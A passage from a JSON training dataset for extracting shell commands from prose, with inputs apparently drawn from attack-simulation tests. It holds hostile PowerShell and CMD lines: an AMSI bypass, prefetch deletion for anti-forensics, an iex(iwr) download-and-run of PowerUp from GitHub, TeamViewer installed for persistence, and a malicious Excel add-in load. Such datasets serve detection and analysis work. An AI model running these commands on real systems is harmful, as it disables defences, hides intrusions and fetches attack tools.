    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    As a method to remove a single prefetch file for anti-forensic purposes, run the following command: Remove-Item -Path (Join-Path \"$Env:SystemRoot\\prefetch\\\" (Get-ChildItem -Path \"$Env:SystemRoot\\prefetch\\*.pf\" -Name)[0]). To ensure successful execution, compare the results of `(Get-ChildItem -Path \"$Env:SystemRoot\\prefetch\\*.pf\" | Measure-Object).Count` before and after the deletion.",
    "output": "{\"command_list\": [\"Remove-Item -Path (Join-Path \\\"$Env:SystemRoot\\\\prefetch\\\\\\\" (Get-ChildItem -Path \\\"$Env:SystemRoot\\\\prefetch\\\\*.pf\\\" -Name)[0])\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Execute this command to create and run an executable designed to appear legitimate:\nAdd-Type -TypeDefinition @'\npublic class Test {\n    public static void Main(string[] args) {\n        System.Console.WriteLine(\"tweet, tweet\");\n    }\n}\n'@ -OutputAssembly \"#{executable_filepath}\"\n\nStart-Process -FilePath \"#{executable_filepath}\"",
    "output": "{\"command_list\": [\"Add-Type -TypeDefinition @'\\npublic class Test {\\n    public static void Main(string[] args) {\\n        System.Console.WriteLine(\\\"tweet, tweet\\\");\\n    }\\n}\\n'@ -OutputAssembly \\\"#{executable_filepath}\\\"\\n\\nStart-Process -FilePath \\\"#{executable_filepath}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An attacker might deceive a user into downloading TeamViewer to maintain persistent access, which can be achieved by running the following command: Invoke-WebRequest -OutFile C:\\Users\\$env:username\\Desktop\\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\TeamViewer_Setup.exe\"\nStart-Process -Wait $file1 /S; \nStart-Process 'C:\\Program Files (x86)\\TeamViewer\\TeamViewer.exe'",
    "output": "{\"command_list\": [\"Invoke-WebRequest -OutFile C:\\\\Users\\\\$env:username\\\\Desktop\\\\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe\\n$file1 = \\\"C:\\\\Users\\\\\\\" + $env:username + \\\"\\\\Desktop\\\\TeamViewer_Setup.exe\\\"\\nStart-Process -Wait $file1 /S; \\nStart-Process 'C:\\\\Program Files (x86)\\\\TeamViewer\\\\TeamViewer.exe'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When you need to delete a file from the temp folder without any confirmation or output, use this command: del /f #{file_to_delete}\n. Verification of the deletion must be done through File Explorer.",
    "output": "{\"command_list\": [\"del /f #{file_to_delete}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can delete an individual file in the temp directory with this command: rm -f #{file_to_delete}",
    "output": "{\"command_list\": [\"rm -f #{file_to_delete}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To remove the File menu from Windows Explorer Group Policy for the currently logged-in user, use the following command in the cmd console: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoFileMenu /t REG_DWORD /d 1 /f. Note that some Group Policy changes may require a restart to take effect.",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v NoFileMenu /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To load an XLL file using the Excel add-ins library, which will cause Excel to launch Notepad.exe as a child process, use the following command (note this test doesn't include persistent code execution as seen in malware implementations):\n$excelApp = New-Object -COMObject \"Excel.Application\"\nif(-not $excelApp.path.contains(\"Program Files (x86)\")){\n    Write-Host \"64-bit Office\"\n    $excelApp.RegisterXLL(\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x64.xll\")\n}\nelse{\n  Write-Host \"32-bit Office\"\n  $excelApp.RegisterXLL(\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x86.xll\")\n}\n",
    "output": "{\"command_list\": [\"$excelApp = New-Object -COMObject \\\"Excel.Application\\\"\\nif(-not $excelApp.path.contains(\\\"Program Files (x86)\\\")){\\n    Write-Host \\\"64-bit Office\\\"\\n    $excelApp.RegisterXLL(\\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x64.xll\\\")\\n}\\nelse{\\n  Write-Host \\\"32-bit Office\\\"\\n  $excelApp.RegisterXLL(\\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x86.xll\\\")\\n}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To bypass AMSI inspection easily, you can patch the DLL in memory by setting the 'amsiInitFailed' function to true using the following command: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\n",
    "output": "{\"command_list\": [\"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - 